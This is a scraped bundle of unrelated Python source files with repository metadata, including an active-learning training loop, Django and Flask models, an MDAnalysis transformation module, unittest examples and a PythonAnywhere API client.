DATA print("Data scoring.") # Number of entries to retrieve from unlabelled dataset, as a percentage of the whole training set. num_labelled = len(X_train_w_labelled) - 1 num_unlabelled = len(X_train_w_unlabelled) - 1 toQuery = int(inc_perc * (num_labelled + num_unlabelled)) # Get score over sequence entropy to_label_index = CNN_query(iter_task, X_train_w_unlabelled, [X_unlabelled, X_unlabelled_char], y_unlabelled, toQuery, query_mode, word2ind, maxWords, [ind2label], maxChar, char2ind, pretrained_embedding = pretrained_embedding, word_embedding_size = word_embedding_size, char_embedding_size = char_embedding_size, optimizer='rmsprop', write_to_disk = False, folder_path=folder_path, print_to_file = False) # I don't need weights anymore # TODO: find a way to avoid writing/deletion on disk if not store_models and os.path.isfile(weights_path): os.remove(weights_path) # STEP 4: SPLIT DATA AND APPEND NEW LABELLED DATA print("Appending new data to train set.") to_label_index_set = set(to_label_index) to_label_w = [] to_label_tag = [] unlabelled_w = [] unlabelled_tag = [] # Split data for i, seq in enumerate(X_train_w_unlabelled): if i in to_label_index_set and i != 0: to_label_w.append(X_train_w_unlabelled[i]) to_label_tag.append(y_train_w_unlabelled[i]) elif i != 0: unlabelled_w.append(X_train_w_unlabelled[i]) unlabelled_tag.append(y_train_w_unlabelled[i]) X_train_w_labelled = X_train_w_labelled + to_label_w y_train_w_labelled = y_train_w_labelled + to_label_tag X_train_w_unlabelled = [[]] + unlabelled_w y_train_w_unlabelled = [[]] + unlabelled_tag num_labelled = len(X_train_w_labelled) - 1 num_unlabelled = len(X_train_w_unlabelled) - 1 print("Labelled data: " + str(num_labelled) + " entries.") print("Unlabelled data: " + str(num_unlabelled) + " entries.") print("Usage of full train set: ", str(num_labelled / (num_labelled + num_unlabelled)) + " %.") # FINAL STEP: VALIDATION print("Validation.") CNN_model(iter_task, False, [X_train, X_train_char], [X_test, X_test_char], word2ind, maxWords, [y_train], [y_test], [ind2label], maxChar, char2ind, word_embedding_size = word_embedding_size, char_embedding_size = char_embedding_size, pretrained_embedding = pretrained_embedding, validation=True, X_valid=[X_valid, X_valid_char], y_valid= [y_valid], folder_path=folder_path, gen_confusion_matrix=True) end_time = time.time() print("\n\nTotal training time: " + str(end_time - start_time) + " s.\n\n") print("Best F1 scores: ", f1_scores) closePrintToFile(file, stdout_original) # Return list with best F1 scores of each iteration return f1_scores def splitTrainData(X_train_w, y_train_w, tag_min_threshold): """ Splits training dataset in two datasets, which we call "labeled" and "unlabeled" (it's just a convention, both datasets are actually labeled) It ensures that the labeled dataset contains a minimum number of entries for each label in the full training dataset. The function is used as an initialization for the first training iteration of the active learning model. :param X_train_w: Data to train the model, in the format of load_data function (in utils.py). :param y_train_w: Labels of the data to train the model, in the format of load_data function (in utils.py). :param tag_min_threshold: Minimum number of tokens for each label in X_train_w. :return Four lists: labeled data X, labeled data y, unlabeled data X, unlabeled data y. """ # dict { tag -> count in dataset } tag_count = defaultdict(int) # dict { tag -> indices of sequences that contain tag } tag_index = defaultdict(set) # dict { tag -> number of time it has been encountered } tag_added = defaultdict(int) # Histogram of tags filled_categories = 0 for index, tag_seq in enumerate(y_train_w): if index == 0: continue for tag in tag_seq: tag_count[tag] += 1 tag_index[tag].add(index) # Initialize indices of labelled and unlabelled datasets X_train_unlabelled_index = set(range(len(X_train_w))) X_train_labelled_index = set() # Create labelled and unlabelled datasets tag_count_sorted = sorted(tag_count.items(), key=operator.itemgetter(1)) for (tag, count) in tag_count_sorted: for seq_index in tag_index[tag]: if tag_added[tag] < tag_min_threshold: if seq_index not in X_train_labelled_index: X_train_labelled_index.add(seq_index) X_train_unlabelled_index.remove(seq_index) for curr_tag in y_train_w[seq_index]: tag_added[curr_tag] += 1 else: break # Create labelled dataset X_train_w_labelled = [] y_train_w_labelled = [] for ref_index in X_train_labelled_index: if ref_index == 0: continue X_train_w_labelled.append(X_train_w[ref_index]) y_train_w_labelled.append(y_train_w[ref_index]) # Create unlabelled dataset X_train_w_unlabelled = [] y_train_w_unlabelled = [] for ref_index in X_train_unlabelled_index: if ref_index == 0: continue X_train_w_unlabelled.append(X_train_w[ref_index]) y_train_w_unlabelled.append(y_train_w[ref_index]) num_labelled = len(X_train_w_labelled) num_unlabelled = len(X_train_w_unlabelled) print("The dataset contains " + str(len(tag_count.keys())) + " labels.") print("Number of labelled entries: ", num_labelled) print("Number of unlabelled entries: ", num_unlabelled) print("Usage of full train set: ", num_labelled / (num_labelled + num_unlabelled)) # Finalize the dataset by prepending an empty line (default convention for datasets) X_train_w_labelled = [[]] + X_train_w_labelled y_train_w_labelled = [[]] + y_train_w_labelled X_train_w_unlabelled = [[]] + X_train_w_unlabelled y_train_w_unlabelled = [[]] + y_train_w_unlabelled return X_train_w_labelled, y_train_w_labelled, X_train_w_unlabelled, y_train_w_unlabelled

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null

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1

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null

0

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c5f341976dcff16eb86b4a3fc138156fa21c68a9

393

py

Python

ffa/accounts/models.py

kschweizer/fresnofieldarchers

c044ff5bea66289124d23c4955454749029319e4

[ "MIT" ]

null

ffa/accounts/models.py

kschweizer/fresnofieldarchers

c044ff5bea66289124d23c4955454749029319e4

[ "MIT" ]

7

2020-06-21T03:53:27.000Z

2022-02-14T22:53:42.000Z

ffa/accounts/models.py

kschweizer/fresnofieldarchers

c044ff5bea66289124d23c4955454749029319e4

[ "MIT" ]

null

from django.contrib.auth.models import AbstractUser from django.db import models import uuid def user_email(instance, filename): return 'users/user_{0}/{1}'.format(instance.user, filename) # Create your models here. class Member(AbstractUser): id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) avatar = models.ImageField(upload_to=user_email, blank=True)

39.3

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null

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680d7be5c74ae7e121072f17cdb11a8624fc8c38

190

py

Python

tests/__init__.py

tb0hdan/voiceplay

3e35a25cfcf982a3871cf0d819bae4374ee31ecf

[ "Unlicense" ]

2

2017-03-22T10:02:07.000Z

2020-08-02T11:56:47.000Z

tests/__init__.py

tb0hdan/twigator_project

775f213cff8b122c7e79b0cd420aeb814193e73e

[ "BSD-3-Clause" ]

69

2016-12-10T22:27:47.000Z

2017-12-14T05:15:43.000Z

tests/__init__.py

tb0hdan/twigator_project

775f213cff8b122c7e79b0cd420aeb814193e73e

[ "BSD-3-Clause" ]

null

import unittest def mytestrunner(tc): alltests = unittest.TestSuite([unittest.TestLoader().loadTestsFromTestCase(s) for s in tc]) unittest.TextTestRunner(verbosity=2).run(alltests)

31.666667

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null

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1

0

null

0

1

0

3

680e4e8c42d7a6ebe0e085174eca520c345f7232

952

py

Python

user/vistas/templates/votacion.py

ZerpaTechnology/occoa

a8c0bd2657bc058801a883109c0ec0d608d04ccc

[ "Apache-2.0" ]

null

user/vistas/templates/votacion.py

ZerpaTechnology/occoa

a8c0bd2657bc058801a883109c0ec0d608d04ccc

[ "Apache-2.0" ]

null

user/vistas/templates/votacion.py

ZerpaTechnology/occoa

a8c0bd2657bc058801a883109c0ec0d608d04ccc

[ "Apache-2.0" ]

null

# -*- coding: utf-8 -*- print '''<!DOCTYPE html><html>''' incluir(data,"head") print '''<body class="container-fluid sin-marg pad-r08 pad-l08 ff">''' incluir(data,"header") print '''''' incluir(data,"hero") print '''<section class="row"><div class="col-md-12"><div class="text-center bg-ubuntu_jet"> <div> <input type="" name="" placeholder="Buscar votación"> </div></div><h1>Inscribete</h1><img src="''' print data['base_url']+'static/imgs/marker/institucion-default.png' print '''"><span> Nombre de la votación</span></div><form><label>Nombres: </label><input type="text" name="" placeholder="Nombre"><label>Apellidos: </label><input type="text" name="" placeholder="Nombre"><label>Foto de perfil: </label><input type="file" name="" placeholder="Nombre"><label>Expediente: </label><input type="text" name="" placeholder="Nombre"><input type="submit" name="" value="Registrarme"></form></section>''' incluir(data,"footer") print '''</body></html>'''

73.230769

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952

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null

0

1

0

1

0

3

a83b4352002f5259f76291921bac626b9064a4c6

206

py

Python

robotoy/components/searchlight.py

youwen5/robotoy

3a7c8465cd332f520e911be654be2d2d54fa0ccb

[ "MIT" ]

null

robotoy/components/searchlight.py

youwen5/robotoy

3a7c8465cd332f520e911be654be2d2d54fa0ccb

[ "MIT" ]

null

robotoy/components/searchlight.py

youwen5/robotoy

3a7c8465cd332f520e911be654be2d2d54fa0ccb

[ "MIT" ]

null

from gpiozero import RGBLED from . import pins from ..singleton import singleton @singleton class SearchLight(RGBLED): def __init__(self): super().__init__(pins.LED_R, pins.LED_G, pins.LED_B)

20.6

60

0.737864

29

206

4.862069

0.551724

0.148936

0

0.165049

206

9

61

22.888889

0.819767

0

1

0.142857

false

0

0.428571

0

0.714286

0

1

0

null

0

1

0

null

0

1

0

3

a84cbd734fb0adfbd3ccba3169f4eebe7b8d8fb8

171

py

Python

Resources/Enums.py

HeroicosHM/NAUDiscordVerification

93c46a9098228ffee24c90cc57fc9896ebaf0d34

[ "MIT" ]

1

2020-07-31T09:13:42.000Z

Resources/Enums.py

HeroicosHM/NAUDiscordVerification

93c46a9098228ffee24c90cc57fc9896ebaf0d34

[ "MIT" ]

null

Resources/Enums.py

HeroicosHM/NAUDiscordVerification

93c46a9098228ffee24c90cc57fc9896ebaf0d34

[ "MIT" ]

null

from enum import Enum # Simple enum to force player type to either be casual or competitive class PlayerType(Enum): Casual = 'casual' Competitive = 'competitive'

24.428571

69

0.74269

23

171

5.521739

0.652174

0

0.19883

171

6

70

28.5

0.927007

0.391813

0

0.166667

0

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false

0

0.25

0

1

0

1

0

null

0

1

0

null

0

1

0

3

a865a5db1f3090d86d004389554eb2824ef0a3e0

202

py

Python

rest/rest/urls.py

piwnk/ecb-currencies-fetch

77a8630d0a54854d2b475ac05580ebb9ec4406c3

[ "MIT" ]

null

rest/rest/urls.py

piwnk/ecb-currencies-fetch

77a8630d0a54854d2b475ac05580ebb9ec4406c3

[ "MIT" ]

null

rest/rest/urls.py

piwnk/ecb-currencies-fetch

77a8630d0a54854d2b475ac05580ebb9ec4406c3

[ "MIT" ]

null

from django.contrib import admin from django.urls import path, include from restapp import views urlpatterns = [ path('admin/', admin.site.urls), path('', include('restapp.urls')), ]

20.2

39

0.673267

25

202

5.44

0.48

0.147059

0

0.19802

202

9

40

22.444444

0.839506

0

0.093264

0

1

0

false

0

0.428571

0

0.428571

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1

0

null

0

1

0

null

0

1

0

3

a88d852fd42c47800b549b9625af15e65db5627c

4,580

py

Python

venv/lib/python3.7/site-packages/MDAnalysis/transformations/wrap.py

dtklinh/GBRDE

c87fada492f24943d7d6b6ecda61c67f41d5bf83

[ "MIT" ]

2

2021-03-04T16:57:06.000Z

2021-08-11T01:42:29.000Z

venv/lib/python3.7/site-packages/MDAnalysis/transformations/wrap.py

dtklinh/GBRDE

c87fada492f24943d7d6b6ecda61c67f41d5bf83

[ "MIT" ]

null

venv/lib/python3.7/site-packages/MDAnalysis/transformations/wrap.py

dtklinh/GBRDE

c87fada492f24943d7d6b6ecda61c67f41d5bf83

[ "MIT" ]

null

# -*- Mode: python; tab-width: 4; indent-tabs-mode:nil; coding:utf-8 -*- # vim: tabstop=4 expandtab shiftwidth=4 softtabstop=4 # # MDAnalysis --- https://www.mdanalysis.org # Copyright (c) 2006-2017 The MDAnalysis Development Team and contributors # (see the file AUTHORS for the full list of names) # # Released under the GNU Public Licence, v2 or any higher version # # Please cite your use of MDAnalysis in published work: # # R. J. Gowers, M. Linke, J. Barnoud, T. J. E. Reddy, M. N. Melo, S. L. Seyler, # D. L. Dotson, J. Domanski, S. Buchoux, I. M. Kenney, and O. Beckstein. # MDAnalysis: A Python package for the rapid analysis of molecular dynamics # simulations. In S. Benthall and S. Rostrup editors, Proceedings of the 15th # Python in Science Conference, pages 102-109, Austin, TX, 2016. SciPy. # # N. Michaud-Agrawal, E. J. Denning, T. B. Woolf, and O. Beckstein. # MDAnalysis: A Toolkit for the Analysis of Molecular Dynamics Simulations. # J. Comput. Chem. 32 (2011), 2319--2327, doi:10.1002/jcc.21787 # """\ Wrap/unwrap transformations --- :mod:`MDAnalysis.transformations.wrap` ====================================================================== Wrap/unwrap the atoms of a given AtomGroup in the unit cell. :func:`wrap` translates the atoms back in the unit cell. :func:`unwrap` translates the atoms of each molecule so that bons don't split over images. .. autofunction:: wrap .. autofunction:: unwrap """ from __future__ import absolute_import from ..lib._cutil import make_whole def wrap(ag, compound='atoms'): """ Shift the contents of a given AtomGroup back into the unit cell. :: +-----------+ +-----------+ | | | | | 3 | 6 | 6 3 | | ! | ! | ! ! | | 1-2-|-5-8 -> |-5-8 1-2-| | ! | ! | ! ! | | 4 | 7 | 7 4 | | | | | +-----------+ +-----------+ Example ------- .. code-block:: python ag = u.atoms transform = mda.transformations.wrap(ag) u.trajectory.add_transformations(transform) Parameters ---------- ag: Atomgroup Atomgroup to be wrapped in the unit cell compound : {'atoms', 'group', 'residues', 'segments', 'fragments'}, optional The group which will be kept together through the shifting process. Notes ----- When specifying a `compound`, the translation is calculated based on each compound. The same translation is applied to all atoms within this compound, meaning it will not be broken by the shift. This might however mean that not all atoms from the compound are inside the unit cell, but rather the center of the compound is. Returns ------- MDAnalysis.coordinates.base.Timestep """ def wrapped(ts): ag.wrap(compound=compound) return ts return wrapped def unwrap(ag): """ Move all atoms in an AtomGroup so that bonds don't split over images Atom positions are modified in place. This function is most useful when atoms have been packed into the primary unit cell, causing breaks mid molecule, with the molecule then appearing on either side of the unit cell. This is problematic for operations such as calculating the center of mass of the molecule. :: +-----------+ +-----------+ | | | | | 6 3 | | 3 | 6 | ! ! | | ! | ! |-5-8 1-2-| -> | 1-2-|-5-8 | ! ! | | ! | ! | 7 4 | | 4 | 7 | | | | +-----------+ +-----------+ Example ------- .. code-block:: python ag = u.atoms transform = mda.transformations.unwrap(ag) u.trajectory.add_transformations(transform) Parameters ---------- atomgroup : AtomGroup The :class:`MDAnalysis.core.groups.AtomGroup` to work with. The positions of this are modified in place. Returns ------- MDAnalysis.coordinates.base.Timestep """ try: ag.fragments except AttributeError: raise AttributeError("{} has no fragments".format(ag)) def wrapped(ts): for frag in ag.fragments: make_whole(frag) return ts return wrapped

30.738255

80

0.54345

529

4,580

4.6862

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0

0.026705

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4,580

148

81

30.945946

0.770914

0.802402

0

0.352941

0

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0

1

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false

0

0.117647

0

0.588235

0

null

0

1

0

null

0

1

0

1

0

3

a8965f62e72384c8b9369d29d715fa8ae7318a10

226

py

Python

checkout/urls.py

mahanfarzaneh2000/DjangoEcommerce

f844f60fd4eac6c7513196037cd908df3ba01983

[ "CC0-1.0" ]

1

2020-11-01T11:35:12.000Z

checkout/urls.py

mahanfarzaneh2000/DjangoEcommerce

f844f60fd4eac6c7513196037cd908df3ba01983

[ "CC0-1.0" ]

null

checkout/urls.py

mahanfarzaneh2000/DjangoEcommerce

f844f60fd4eac6c7513196037cd908df3ba01983

[ "CC0-1.0" ]

null

from django.urls import path from .views import CheckoutView , SubmitPromoView urlpatterns = [ path('', CheckoutView.as_view() , name='checkout'), path('Promo-submit',SubmitPromoView.as_view(),name ='promo-submit'), ]

32.285714

72

0.725664

26

226

6.230769

0.576923

0.074074

0.123457

0

0.123894

226

7

73

32.285714

0.818182

0

0.140969

0

1

0

false

0

0.333333

0

0.333333

0

1

0

null

0

1

0

null

0

1

0

3

a8b0b0058eb68a0f7f90fbc17bd3044ac1982af6

202

py

Python

tractseg/experiments/dm_reg_lowres.py

inaccel/TractSeg

cc9feefd71ba9fcfacc4d3a7656f1a77bab9a287

[ "Apache-2.0" ]

148

2017-11-09T10:28:15.000Z

2022-03-30T16:45:24.000Z

tractseg/experiments/dm_reg_lowres.py

inaccel/TractSeg

cc9feefd71ba9fcfacc4d3a7656f1a77bab9a287

[ "Apache-2.0" ]

170

2018-06-25T17:33:27.000Z

2022-03-17T12:42:21.000Z

tractseg/experiments/dm_reg_lowres.py

inaccel/TractSeg

cc9feefd71ba9fcfacc4d3a7656f1a77bab9a287

[ "Apache-2.0" ]

57

2018-05-21T00:10:56.000Z

2022-03-30T02:56:39.000Z

from tractseg.experiments.base_legacy.dm_reg_legacy import Config as DmRegConfig class Config(DmRegConfig): DATASET = "HCP_32g" RESOLUTION = "2.5mm" FEATURES_FILENAME = "32g_25mm_peaks"

20.2

80

0.757426

26

202

5.615385

0.846154

0

0.047337

0.163366

202

9

81

22.444444

0.816568

0

0.129353

0

1

0

false

0

0.2

0

1

0

1

0

null

0

1

0

null

0

1

0

3

766e873236e512511ee845050ba334664937c0c7

620

py

Python

books/python-3-oop-packt/Chapter12/12_05_skipping_tests.py

phiratio/lpthw

a32240d4355fb331805d515f96e1d009914e5c47

[ "MIT" ]

73

2016-09-15T23:07:04.000Z

2022-03-05T15:09:48.000Z

books/python-3-oop-packt/Chapter12/12_05_skipping_tests.py

phiratio/lpthw

a32240d4355fb331805d515f96e1d009914e5c47

[ "MIT" ]

34

2019-12-16T16:53:24.000Z

2022-01-13T02:29:30.000Z

books/python-3-oop-packt/Chapter12/12_05_skipping_tests.py

phiratio/lpthw

a32240d4355fb331805d515f96e1d009914e5c47

[ "MIT" ]

51

2016-10-07T20:47:51.000Z

2021-12-22T21:00:24.000Z

import unittest import sys class SkipTests(unittest.TestCase): @unittest.expectedFailure def test_fails(self): self.assertEqual(False, True) @unittest.skip("Test is useless") def test_skip(self): self.assertEqual(False, True) @unittest.skipIf(sys.version_info.minor == 4, "broken on 3.4") def test_skipif(self): self.assertEqual(False, True) @unittest.skipUnless(sys.platform.startswith('linux'), "broken unless on linux") def test_skipunless(self): self.assertEqual(False, True) if __name__ == "__main__": unittest.main()

24.8

58

0.658065

73

620

5.410959

0.452055

0.070886

0.192405

0.243038

0.344304

0.273418

0

0.006237

0.224194

620

24

59

25.833333

0.814969

0

0.210526

0

0.101613

0

0.210526

1

0.210526

false

0

0.105263

0

0.368421

0

null

0

1

0

null

0

1

0

3

766edd163148fb3ce2a73f8bdc17845525f03709

2,688

py

Python

flaskbog/models.py

MuthangaShem/flask-blog

5b32bcd0c8592763f871a1c421ecf0f0ea7adc14

[ "MIT" ]

null

flaskbog/models.py

MuthangaShem/flask-blog

5b32bcd0c8592763f871a1c421ecf0f0ea7adc14

[ "MIT" ]

null

flaskbog/models.py

MuthangaShem/flask-blog

5b32bcd0c8592763f871a1c421ecf0f0ea7adc14

[ "MIT" ]

null

from flask.ext.sqlalchemy import SQLAlchemy from werkzeug import generate_password_hash, check_password_hash from flaskblog import app from config import WHOOSH_ENABLED from math import ceil db = SQLAlchemy(app) class Admin(db.Model): __tablename__ = 'admin' id = db.Column(db.Integer, primary_key=True) userd = db.Column(db.String(100)) def __init__(self, user): self.user = user def __repr__(self): return "<User: %s>" % (self.userd) def is_authenticated(self): return True def is_active(self): return True def is_anonymous(self): return False def get_id(self): return unicode(self.id) tags = db.Table('posts_tags', db.Column('tag_id', db.Integer, db.ForeignKey('tags.id')), db.Column('post_id', db.Integer, db.ForeignKey('posts.id')) ) class Post(db.Model): __tablename__ = 'posts' __searchable__ = ['text'] id = db.Column(db.Integer, primary_key=True) title = db.Column(db.String(120)) text = db.Column(db.Text,) tags = db.relationship('Tag', secondary=tags, backref=db.backref('posts', lazy='dynamic')) def __init__(self, title, text, tags): self.title = title self.text = text self.tags = tags def __repr__(self): return '<Title %r, Text %r, Tag %r>' % (self.title, self.text, self.tags) class Tag(db.Model): __tablename__ = 'tags' id = db.Column(db.Integer, primary_key=True) tag = db.Column(db.String(120)) def __init__(self, tag): self.tag = tag def __repr__(self): return '<Tag %r>' % self.tag class Pagination(object): def __init__(self, page, per_page, total_count): self.page = page self.per_page = per_page self.total_count = total_count @property def pages(self): return int(ceil(self.total_count / float(self.per_page))) @property def has_prev(self): return self.page > 1 @property def has_next(self): return self.page < self.pages def iter_pages(self, left_edge=2, left_current=2, right_current=5, right_edge=2): last = 0 for num in xrange(1, self.pages + 1): if num <= left_edge or \ (num > self.page - left_current - 1 and num < self.page + right_current) or \ num > self.pages - right_edge: if last + 1 != num: yield None yield num last = num if WHOOSH_ENABLED: import flask.ext.whooshalchemy as whooshalchemy whooshalchemy.whoosh_index(app, Post)

25.121495

94

0.599702

352

2,688

4.352273

0.272727

0.065274

0.045692

0.023499

0.144256

0.064621

0

0.009911

0.28683

2,688

106

95

25.358491

0.789254

0

0.144737

1

0

0.043155

0

1

0.197368

false

0.013158

0.078947

0.131579

0.618421

0

null

0

1

0

null

0

1

0

3

7676d462ee542ed87de95de7c08ee86a04763486

272

py

Python

ds/linklist/node.py

BizShuk/code_algo

1964a16ba382b360d85937b65b8acd51c1eb5418

[ "MIT" ]

null

ds/linklist/node.py

BizShuk/code_algo

1964a16ba382b360d85937b65b8acd51c1eb5418

[ "MIT" ]

null

ds/linklist/node.py

BizShuk/code_algo

1964a16ba382b360d85937b65b8acd51c1eb5418

[ "MIT" ]

null

class Node(object): """Docstring for Node. """ def __init__(self,val , next=None): """TODO: to be defined1. """ self.next = next if next is not None self.val = val def isCircle(self): pass def length(self): pass

18.133333

44

0.536765

35

272

4.057143

0.6

0.098592

0

0.005556

0.338235

272

14

45

19.428571

0.783333

0

0.25

0

0.071429

0

null

0.25

0

null

0

null

0

null

0

1

0

1

0

1

0

3

768264c563fd0507706f9581b69eab3475ef4389

131

py

Python

train.py

tonypeng/ez-image-segmentation

94ac965cee1d11b7118890ca0219c04e60e7435b

[ "MIT" ]

2

2017-12-07T02:02:05.000Z

2017-12-10T00:14:44.000Z

train.py

tonypeng/ez-image-segmentation

94ac965cee1d11b7118890ca0219c04e60e7435b

[ "MIT" ]

null

train.py

tonypeng/ez-image-segmentation

94ac965cee1d11b7118890ca0219c04e60e7435b

[ "MIT" ]

null

from Trainer import * from TrainerOptions import * opt = TrainerOptions() opt.parse_args() trainer = Trainer(opt) trainer.train()

16.375

28

0.763359

16

131

6.1875

0.5

0

0.129771

131

8

29

16.375

0.868421

0

1

0

false

0

0.333333

0

0.333333

0

1

0

null

0

1

0

null

0

1

0

3

7692deee3b24ee25055a2b5cefb7aaffcbc347d6

801

py

Python

python_for_everybody/unicode.py

timothyyu/p4e-prac

f978b71ce147b6e9058372929f2666c2e67d0741

[ "BSD-3-Clause" ]

null

python_for_everybody/unicode.py

timothyyu/p4e-prac

f978b71ce147b6e9058372929f2666c2e67d0741

[ "BSD-3-Clause" ]

null

python_for_everybody/unicode.py

timothyyu/p4e-prac

f978b71ce147b6e9058372929f2666c2e67d0741

[ "BSD-3-Clause" ]

1

2020-04-18T16:09:04.000Z

#Unicode characters and strings #1960s/1970s ---> we assumed one byte is one character and went it with # a byte and character were assumed to be the same thing #ASCII goes up to 127 print(ord('H')) print(ord('e')) print(ord('\n')) print(ord('G')) #UTF-16 - fixed length, two byes #UTF-32 - fixed length, four byes #UTF-8 - 1-4 bytes # upwards compat with ASCII # auto detection between ASCII & UTF-8 # UTF-8 rec best pracetice for encoding/data exchange between systems # in python3, all strings are unicode # data in from external resource # must be decoded based on its character set so it's properly represented in py3 as a string # when talking to external network resource that sends bytes, # you need to encode the py3 strings into a given char encoding

33.375

96

0.71161

133

801

4.285714

0.661654

0.05614

0

0.03645

0.212235

801

24

97

33.375

0.866878

0.831461

0

0.041322

0

1

0

true

0

1

0

null

0

1

0

null

0

1

0

1

0

3

76a8ad4e4b64bc7dd9adb094028e31014909c8fe

4,201

py

Python

pythonanywhere_client/webapps.py

hakancelik96/pythonanywhere-client

52c8913760304c30150157b961e93c4a4bf5e82f

[ "MIT" ]

6

2019-06-30T20:59:38.000Z

2019-12-28T11:02:11.000Z

pythonanywhere_client/webapps.py

hakancelik96/pythonanywhere-client

52c8913760304c30150157b961e93c4a4bf5e82f

[ "MIT" ]

5

2019-06-30T18:55:15.000Z

2020-06-19T15:37:01.000Z

pythonanywhere_client/webapps.py

hakancelik96/pythonanywhere-client

52c8913760304c30150157b961e93c4a4bf5e82f

[ "MIT" ]

1

2019-12-28T17:04:37.000Z

from .client import client_decorator class Webapps: def __init__(self, client): self.client = client @client_decorator(op="webapps") def get(self): "List all webapps" @client_decorator(op="webapps") def post(self, domain_name, python_version): """ Create a new webapp with manual configuration. Use (for example) "python36" to specify Python 3.6. """ class DomaiName: def __init__(self, client, domain_name): self.client = client self.domain_name = domain_name @client_decorator(op="webapps", name="{self.domain_name}") def get(self): "Return information about a web app's configuration" @client_decorator(op="webapps", name="{self.domain_name}") def put( self, python_version, source_directory, virtualenv_path, force_https ): "Modify configuration of a web app. (NB a reload is usually required to apply changes)." @client_decorator(op="webapps", name="{self.domain_name}") def patch( self, python_version, source_directory, virtualenv_path, force_https ): "Modify configuration of a web app. (NB a reload is usually required to apply changes)." @client_decorator(op="webapps", name="{self.domain_name}") def delete(self): """ Delete the webapp. This will take the site offline. Config is backed up in /var/www, and your code is not touched. """ class Reload: def __init__(self, client, domain_name): self.client = client self.domain_name = domain_name @client_decorator(op="webapps", name="{self.domain_name}", path="reload") def post(self): "Reload the webapp to reflect changes to configuration and/or source code on disk." class Ssl: def __init__(self, client, domain_name): self.client = client self.domain_name = domain_name @client_decorator(op="webapps", name="{self.domain_name}", path="ssl") def get(self): """ Get and set TLS/HTTPS info. POST parameters to the right are incorrect, use `cert` and `private_key` when posting. """ @client_decorator(op="webapps", name="{self.domain_name}", path="ssl") def post( self, python_version, source_directory, virtualenv_path, force_https ): """ Get and set TLS/HTTPS info. POST parameters to the right are incorrect, use `cert` and `private_key` when posting. """ @client_decorator(op="webapps", name="{self.domain_name}", path="ssl") def delete(self): """ Get and set TLS/HTTPS info. POST parameters to the right are incorrect, use `cert` and `private_key` when posting. """ class StaticFiles: def __init__(self, client, domain_name): self.client = client self.domain_name = domain_name @client_decorator( op="webapps", name="{self.domain_name}", path="static_files" ) def get(self): "List all the static files mappings for a domain." @client_decorator( op="webapps", name="{self.domain_name}", path="static_files" ) def post(self, url, path): "Create a new static files mapping. (webapp restart required)" class StaticFilesId: def __init__(self, client, domain_name, id): self.client = client self.domain_name = domain_name self.id = id @client_decorator( op="webapps", name="{self.domain_name}", path="static_files/{self.id}" ) def get(self): "Get URL and path of a particular mapping." @client_decorator( op="webapps", name="{self.domain_name}", path="static_files/{self.id}" ) def put(self, url, path): "Modify a static files mapping. (webapp restart required)" @client_decorator( op="webapps", name="{self.domain_name}", path="static_files/{self.id}" ) def patch(self, url, path): "Modify a static files mapping. (webapp restart required)" @client_decorator( op="webapps", name="{self.domain_name}", path="static_files/{self.id}" ) def delete(self): "Remove a static files mapping. (webapp restart required)"

31.118519

96

0.63961

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4.83054

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0.115652

0.107941

0.148034

0.752506

0.720894

0.695451

0.680031

0.664611

0.624518

0

0.001258

0.243037

4,201

134

97

31.350746

0.814465

0.286836

0

0.627907

0

0.3232

0.025237

0

1

0.255814

false

0

0.011628

0

0.337209

0

null

0

1

0

1

0

null

0

1

0

3

76c2da6bb9112f5fb0067799713d55cf0a448eb6

241

py

Python

specviz/tests/test_startup.py

ibusko/specviz

b8bcd495e5b43dc2b90f7bf2d5bad2d27c6990aa

[ "BSD-3-Clause" ]

null

specviz/tests/test_startup.py

ibusko/specviz

b8bcd495e5b43dc2b90f7bf2d5bad2d27c6990aa

[ "BSD-3-Clause" ]

null

specviz/tests/test_startup.py

ibusko/specviz

b8bcd495e5b43dc2b90f7bf2d5bad2d27c6990aa

[ "BSD-3-Clause" ]

null

from qtpy import QtCore from specviz.app import Application def test_specviz_startup(qtbot): app = Application([], dev=True) qtbot.addWidget(app.current_workspace) qtbot.mouseClick(app.current_workspace, QtCore.Qt.LeftButton)

24.1

65

0.775934

31

241

5.903226

0.612903

0.10929

0.20765

0

0.13278

241

9

66

26.777778

0.875598

0

1

0.166667

false

0

0.333333

0

0.5

0

null

0

1

0

1

0

null

0

1

0

3

4f180829cd0e9a3948d5bb3da916f00952583927

1,083

py

Python

Cursoemvideo/URI/1018 - Banknotes.py

Vith-MCB/Phyton---Curso-em-Video

d13a2150df022b9712b3b3136e9afc963864403c

[ "MIT" ]

1

2021-06-26T17:07:53.000Z

Cursoemvideo/URI/1018 - Banknotes.py

Vith-MCB/Phyton---Curso-em-Video

d13a2150df022b9712b3b3136e9afc963864403c

[ "MIT" ]

null

Cursoemvideo/URI/1018 - Banknotes.py

Vith-MCB/Phyton---Curso-em-Video

d13a2150df022b9712b3b3136e9afc963864403c

[ "MIT" ]

null

''' N = int(input()) notas100 = N//100 notas50 = (N-(notas100*100))//50 notas20 = (N-(notas100*100+notas50*50))//20 notas10 = (N-(notas100*100+notas50*50+notas20*20))//10 notas5 = (N-(notas100*100+notas50*50+notas20*20+notas10*10))//5 notas2 = (N-(notas100*100+notas50*50+notas20*20+notas10*10+notas5*5))//2 notas1 = (N-(notas100*100+notas50*50+notas20*20+notas10*10+notas5*5+notas2*2)) print(notas100, ' nota(s) de R$ 100,00') print(notas50, ' nota(s) de R$ 50,00') print(notas20, ' nota(s) de R$ 20,00') print(notas10, ' nota(s) de R$ 10,00') print(notas5, ' nota(s) de R$ 5,00') print(notas2, ' nota(s) de R$ 2,00') print(notas1, ' nota(s) de R$ 1,00') ''' N = int(input()) n100 = N//100 N = N - n100*100 n50 = N//50 N = N - n50*50 n20 = N//20 N = N - n20*20 n10 = N//10 N = N - n10*10 n5 = N//5 N = N - n5*5 n2 = N//2 N = N - n2*2 n1 = N print(n100, ' nota(s) de R$ 100,00') print(n50, ' nota(s) de R$ 50,00') print(n20, ' nota(s) de R$ 20,00') print(n10, ' nota(s) de R$ 10,00') print(n5, ' nota(s) de R$ 5,00') print(n2, ' nota(s) de R$ 2,00') print(n1, ' nota(s) de R$ 1,00')

27.769231

78

0.604801

224

1,083

2.924107

0.133929

0.10687

0.149618

0.170992

0.619847

0.587786

0.554198

0.2

0.140458

0

0.254625

0.151431

1,083

39

79

27.769231

0.458107

0.602031

0

0.325472

0

1

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false

0

0.333333

0

null

0

1

0

1

0

1

0

null

0

3

4f264991488a362e89d5b91959e0b88b2e880b7b

1,482

py

Python

public_comment/lib/managers.py

codeforkyana/public-comment

